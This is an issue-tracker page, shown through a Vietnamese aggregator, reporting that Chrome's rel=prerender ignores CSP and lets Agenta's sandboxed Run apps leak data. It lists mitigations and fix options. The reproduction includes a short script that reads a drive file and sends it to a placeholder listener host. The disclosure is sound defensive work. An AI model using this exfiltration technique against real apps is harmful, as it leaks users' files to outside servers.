Run apps can send one request per load via <link rel="prerender">, which ignores CSP (Chrome)
Maintainer thường phản hồi trong vòng 1 ngày
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 5/5
- Thời gian dự kiến
- Hơn một tuần
- Mức phù hợp với người mới
- 25/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức độ hoạt động
- Sôi nổi
- Công nghệ
- github, html, javascript, typescript
Hướng nghiên cứu
Start with the Run hardening work in #7066 and the contract at docs/design/agent-html-apps/contracts.md; the issue does not name implementation or test files. First assess the listed fix options and verify the Chrome behavior, since the proposed approaches differ in robustness and scope. Done means closing or explicitly documenting the rel=prerender data-exfiltration gap; the issue also notes Firefox and Safari remain untested.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
🤖 The AI agent says:
In Chrome, an agent HTML app running in the drive's Run tab can send one network request per page load with data in its URL, by adding a <link rel="prerender"> element. Chrome's prerender prefetch ignores the app's Content Security Policy.
Reproduction
-
Turn on the Agent apps preference.
-
In an agent's drive, create an app (for example
create_app board@1inapps/x). Add this to itsindex.html:<script> window.agenta.ready .then(() => window.agenta.fs.read("app.json")) .then((text) => { const link = document.createElement("link") link.rel = "prerender" link.href = "https://listener.example/x?d=" + encodeURIComponent(text.slice(0, 200)) document.head.appendChild(link) }) </script>Use a listener you control in place of
listener.example. -
Open the file, choose Run, and grant access.
-
The listener receives
GET /x?d=<file contents>withSec-Purpose: prefetch. The same happens with a static<link rel="prerender">in the markup.
The same request also leaves from a plain top-level page whose CSP is default-src 'none', so this is Chrome behaviour, not something specific to the Run frame.
Expected vs actual
- Expected: a Run app can reach the drive only through the bridge and cannot send data to any other origin.
RUN_CSPsetsdefault-src 'none', and the wrapper frame from #7066 setsframe-src 'none'. - Actual: Chrome sends the
rel=prerenderprefetch regardless of CSP, so the app gets one request per load to any URL, with whatever it could read in the query string.
Scope
- The gap predates v0.120.0. The Run hardening in #7066 closed the other ways out that were tested, including self-navigation, meta refresh,
data:/blob:/javascript:hops, link clicks, forms, prefetch/preconnect,sendBeaconand keepalive fetch. It also stopped the bridge port reaching a second document. - Run sits behind the Agent apps preference, which is off by default. An app only gets drive access after the user grants it.
- The grant sheet now says the app's code "can read these files and may be able to send what it reads outside Agenta".
docs/design/agent-html-apps/contracts.mdrecords the gap. - Only Chrome was tested. Firefox and Safari were not checked.
Options for a real fix
- Serve apps from a separate, locked-down origin. Run apps on a dedicated app-host origin that returns the policy as an HTTP header, not a meta tag. That origin could add further network controls: for example, no DNS for arbitrary hosts in a hardened deployment, or a response that disables speculative loading. This is the most robust option, but it is a hosting change (new origin, header config, self-host docs).
- Neutralise
rel=prerenderin the document. The bridge stub runs before app code, so it could patchHTMLLinkElement.prototype.rel,relList,setAttributeandsetAttributeNode, and strip staticlink[rel~=prerender]in the assembler. This is best effort only: markup inserted throughinnerHTML,document.writeorinsertAdjacentHTMLis created by the parser, not the setters, so the list of paths never ends. - Watch Chromium.
rel=prerendernow maps to NoState Prefetch. If Chromium drops it or makes it honour CSP, this closes on its own. A test that loads a probe page in Chrome would tell us when. - Keep the current state and document it. Treat Run apps as able to send out what they read, and gate access on trust. This is where the product is today.
Evidence from the v0.120.0 release QA (Chrome probes, including a top-level page with the same CSP) is available on request.
- Ngôn ngữ chính
- TypeScript
- Star
- 4.8k
- Fork
- 690
- Merge trung bình
- 21 giờ 53 phút
- Pull request đã merge (30 ngày)
- 451
Chuẩn bị môi trường
- Không có Dockerfile hay tệp Docker Compose
- Có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của Agenta-AI/agenta
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 70/100
Agenta-AI/agenta#7654 · 1 bình luận · 1 reaction ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
Agenta-AI/agenta#7468 · 1 bình luận · 1 reaction ·
Maintainer thường phản hồi trong vòng 1 ngày
-
(bug) The Stop button disappears for a moment before an approval card showsCó thể làm lại được @rishu685 đã nhận 9 ngày trước và không có pull request nào đang mở. Đang mởbug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
Agenta-AI/agenta#7446 · 2 bình luận · 1 reaction ·
Maintainer thường phản hồi trong vòng 1 ngày
-
bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 83/100
Agenta-AI/agenta#7441 · 1 bình luận · 1 reaction ·
Maintainer thường phản hồi trong vòng 1 ngày
-
(bug) Settings > Usage opens AI providers when billing is offCó thể đã có người làm Có pull request liên kết đang mở hoặc đã được merge. Đang mởbug frontend
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 65/100
Agenta-AI/agenta#7426 · 2 bình luận · 2 reaction ·
Maintainer thường phản hồi trong vòng 1 ngày
Tất cả issue của Agenta-AI/agenta
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
polarsource/polar#15580 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
accepted bug via-triage
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 69/100
pingdotgg/t3code#20931 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
bug/1-unconfirmed kind/bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 83/100
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
ranxianglei/billion-context#3583 ·
Maintainer thường phản hồi trong vòng 1 ngày